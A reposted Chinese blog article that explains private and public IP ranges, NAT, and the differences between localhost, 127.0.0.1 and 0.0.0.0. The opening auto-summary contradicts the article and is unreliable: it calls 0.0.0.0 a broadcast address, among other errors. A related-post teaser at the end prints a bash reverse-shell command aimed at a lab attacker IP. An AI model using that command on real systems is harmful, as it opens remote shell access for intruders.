[转帖]浅析IP地址及localhost、127.0.0.1和0.0.0.0的区别

浅析,ip地址,localhost,区别 · 浏览次数 : 0

小编点评

**127.0.0.1** 和 **0.0.0.0** 两个IP地址在互联网中有着不同的用途: * **127.0.0.1** 是一个 **环回地址**,表示本机上只有一个 **虚拟网卡**,该网卡仅能用于本机的内部通信。 * **0.0.0.0** 是一个 **不可用地址**,表示本机中所有的 **IPV4 地址都被分配给其他设备**。 **其他重要信息:** * 127.0.0.1 是 **localhost** 的默认地址,因此,在本地机器上,您可以使用它来测试网络连接性。 * 0.0.0.0 是一个 **广播地址**,表示所有设备都使用该 IP 地址。 * 127.0.0.1 可以用于 **本地测试**,因为它位于本机上的所有接口上。 * 0.0.0.0 可以用于 **对特定网络的测试**,例如测试网络连接性或监听端口。

正文

https://www.cnblogs.com/goloving/p/7202151.html

 

  127.0.0.1和0.0.0.0这两个IP地址再熟悉不过了,看起来好像就那么回事,但真正较起真来,这两个IP地址到底有什么作用以及到底有什么不同?貌似谁可以轻松回答,但张嘴却又不知从何说起(这要是面试,估计真会被这搞砸...),本文将系统地总结127.0.0.1和0.0.0.0这两个IP地址的作用,以及它们之间的区别,希望能为你解惑。

一、通俗的了解IP地址是什么?

  对于IP地址,大家并不陌生,特别是在网络访问中我们会经常使用到(平时对域名如百度的www.baidu.com的访问,本质就是对域名所绑定的IP地址的访问),那么IP地址是什么呢?

  首先,我们要知道网络中的相互访问其实就是在进行两者间的数据传递。就如同送快递一样,快递发出只有知道你的住址信息,才能将快递送到你的手中。

  而在网络访问时,只有知道你在网络中的地址信息,才能将数据发送到你的设备上。所以,IP地址就是你在网络中的地址信息。与你现实地址不同的是,你的现实地址使用文字表示,而你在网络中的地址(IP地址)是用二进制数字表示的。

二、简要的了解下公网与内网中的IP地址

  一般我们会将网络划分公网(连Internet的)内网

1、公有IP地址

  一般称公网中的IP地址为公有地址。公有地址由Inter NIC(因特网信息中心)负责,这些IP地址分配给注册并向Inter NIC提出申请的组织机构。公有地址是全球唯一的,公网中不可能存在两个相同的IP地址。

  范围:除了私有地址以外的地址,都属于公有地址

2、私有IP地址

  一般称内网(即局域网)中的IP地址为私有地址。私有地址是非注册地址,用于组织机构内部使用。私有地址的范围如下:

  • A类IP地址中:10.0.0.0--10.255.255.255
  • B类IP地址中:172.16.0.0--172.31.255.255
  • C类IP地址中:192.168.0.0--192.168.255.255

  私有地址与公有地址不同,并不是由Internet分配的,是不允许出现在Internet中的,我们在公网中是看不到私有IP地址的,并且公有地址也不会使用上述的三类地址。所以,私有地址是不能直接与Internet连接的。

  而如果想用私有地址与Internet连接来访问公网,那该怎么做?这就需要将私有IP地址转换成公网IP地址,与外部连接。所以,我们平时使用的路由器中会装有一个叫做 NAT(网络地址转换) 的软件,我们的路由器中会至少会有一个有效的公网IPNAT会将我们的私有地址转成路由器中的公网IP与外部Internet连接。而同样的,因为使用的是路由器中的公共的公网IP来连接Internet,所以这个内网中的PC在Internet中显示的都是路由器的公共IP,这样做不仅提供了一定程度的安全,也可以有效的减缓可用的IP地址空间的枯竭问题。(像我们学校或者公司的内网一般都是这么做的)

  另外还有一点,在同一个局域网内,IP地址是唯一的;但是在不同的局域网内,IP地址是可以重复出现的。

举个小例子: 在局域网A中,有个主机的IP地址192.168.10.128,那么绝不可能在局域网A中还有其他主机的IP地址192.168.10.128。但是在局域网B中却可以有主机的IP地址也是192.168.10.128
如果局域网A中的192.168.10.128主机局域网B中的192.168.10.128主机通信,不会冲突吗?不会,因为上述说过,它们最终都是使用路由器中的公网IP来连接外网的,而公网IP是全球唯一的。

三、localhost、127.0.0.1和0.0.0.0和本机IP的区别

1、localhost

  localhost其实是域名,一般windows系统默认将localhost指向127.0.0.1,但是localhost并不等于127.0.0.1,只需要记住一点的就是:localhost指向的IP地址是可以配置的

2、127.0.0.1

  首先我们要先知道一个概念,凡是以127开头的IP地址,都是回环地址(Loop back address),其所在的回环接口一般被理解为虚拟网卡,并不是真正的路由器接口。

  所谓的回环地址,通俗的讲,就是我们在主机上发送给127开头的IP地址的数据包会被发送的主机自己接收,根本传不出去,外部设备也无法通过回环地址访问到本机。

  小说明:正常的数据包会从IP层进入链路层,然后发送到网络上;而给回环地址发送数据包数据包会直接被发送主机的IP层获取,后面就没有链路层他们啥事了。

  而127.0.0.1作为{127}集合中的一员,当然也是个回环地址。只不过127.0.0.1经常被默认配置为localhost的IP地址。一般会通过ping 127.0.0.1来测试某台机器上的网络设备是否工作正常。

3、0.0.0.0

  首先,0.0.0.0是不能被ping通的。在服务器中,0.0.0.0并不是一个真实的的IP地址,它表示本机中所有的IPV4地址

  监听0.0.0.0的端口,就是监听本机中所有IP的端口

4、本机IP

  本机IP通常仅指在同一个局域网内,能同时被外部设备访问和本机访问的那些IP地址(可能不止一个)。像127.0.0.1这种一般是不被当作本机IP的。本机IP是与具体的网络接口绑定的,比如以太网卡、无线网卡或者PPP/PPPoE拨号网络的虚拟网卡,想要正常工作都要绑定一个地址,否则其他设备就不知道如何访问它。

5、总结:帮助理解本机IP、127.0.0.1和0.0.0.0

  现在有两台pc在同一个局域网内,分别为pc1与pc2,pc1上有一个网卡,IP地址为192.168.10.128,那么:

(1)pc1中sever监听127.0.0.1,则pc1中的client可以连上127.0.0.1192.168.10.128连不上;而pc2中client都连不上。

(2)pc1中sever监听192.168.10.128,则pc1中的client可以连上192.168.10.128127.0.0.1连不上;而pc2中client能连上192.168.10.128

(3)pc1中sever监听0.0.0.0,则pc1中的client可以连上127.0.0.1192.168.10.128,pc2中的client能连上192.168.10.128

  简言之就是:127.0.0.10.0.0.0差别(一个只能通过localhost 访问,一个可以通过本机ip或者localhost访问都行)

  127.0.0.1 只是一个环回地址,并不表示“本机”;0.0.0.0才是真正表示“本网络中的本机”。

  在实际应用中,一般我们在服务端绑定端口的时候可以选择绑定到0.0.0.0,这样我的服务访问方就可以通过我的多个ip地址访问我的服务。比如我有一台服务器,一个外网地址A,一个内网地址B,如果我绑定的端口指定了0.0.0.0,那么通过内网地址或外网地址都可以访问我的应用。但是如果我只绑定了内网地址,那么通过外网地址就不能访问。 所以如果绑定0.0.0.0,也有一定安全隐患,对于只需要内网访问的服务,可以只绑定内网地址。

与[转帖]浅析IP地址及localhost、127.0.0.1和0.0.0.0的区别相似的内容:

[转帖]浅析IP地址及localhost、127.0.0.1和0.0.0.0的区别

https://www.cnblogs.com/goloving/p/7202151.html 127.0.0.1和0.0.0.0这两个IP地址再熟悉不过了,看起来好像就那么回事,但真正较起真来,这两个IP地址到底有什么作用以及到底有什么不同?貌似谁可以轻松回答,但张嘴却又不知从何说起(这要是面试,

[转帖]浅析Nginx配置获取客户端真实IP的proxy_set_header、X-Real-IP、$remote_addr、X-Forwarded-For、$proxy_add_x_forwarded_for分别是什么意思

https://www.cnblogs.com/goloving/p/15588668.html 一、问题背景 在实际应用中,我们可能需要获取用户的ip地址,比如做异地登陆的判断,或者统计ip访问次数等,通常情况下我们使用 request.getRemoteAddr() 就可以获取到客户端ip,但是

[转帖]tracert命令追踪IP地址浅谈

http://www.hkt4.com/news/922.html 摘要: 最近在知乎上看到一个问题:tracert国外的一些IP为什么明明很近却要绕地球好几圈?用tracert命令追踪路由,出现了相同的IP地址,是什么原因呢?很久以前,互联数据运维也接到过类似的问题。 最近在知乎上看到一个问题:t

[转帖]浅析nginx的server及server_name的意义详解

https://www.cnblogs.com/goloving/p/7010713.html 一、server_name 详解 当Nginx接到请求后,会匹配其配置中的server模块。匹配方法就是靠请求携带的host和port正好对应其配置中的server_name 和listen。如果做过ip

[转帖]Linux之bash反弹shell原理浅析

环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击

[转帖]浅谈Armv8-A处理器

https://www.elecfans.com/emb/dsp/202208291886182.html 众所周知,ARM是一家设计并授权处理器和相应IP(比如互连总线,中断处理器,图像处理器等等)的公司,目前其处理器产品分为三类: Cortex-A系列:这个系列主要是应用(Application

[转帖]【网络小知识】之TCP IP 五元组(five-tuple/5-tuple)

为什么要分享TCP IP 5元组(five-tuple/5-tuple的知识? 最近在进行深度分析过程中,听到某些资深人士提到了5元组这个概念,觉得很高大尚,去搜索了一圈,发现都是些非常浅显的知识,对于tcp ip 5元组,7元组有什么用没有提及,也没有五元组的英文,导致英文资料检索过程中饶了一圈。

[转帖]浅析./configure、make、make install之间的关系

https://www.cnblogs.com/zcj-0928/articles/16261389.html 写在前面: 可能我们都知道linux中安装软件方式的一种是:将源码sourcecode.tar.gz进行解压,然后输入./configure,接着make,最后make install,一

【转帖】浅析经典JVM垃圾收集器-Serial/ParNew/Parallel Scavenge/Serial Old/Parallel Old/CMS/G1

https://zhuanlan.zhihu.com/p/481256418 在讲述垃圾收集器之前,我们得先知道JVM中常见的垃圾收集算法有什么,具体请参考我的这篇博文。如果说收集算法是内存回收的方法论, 那垃圾收集器就是内存回收的实践者。下面就来详细概述下Serial、ParNew、Paralle

[转帖]浅析TiDB二阶段提交

https://cloud.tencent.com/developer/article/1608073 关键内容说明: TiDB 对于每个事务,会涉及改动的所有key中,选择出一个作为当前事务的Primary Key,其他的则为Secondary keys。 当Primary Key提交成功,标识整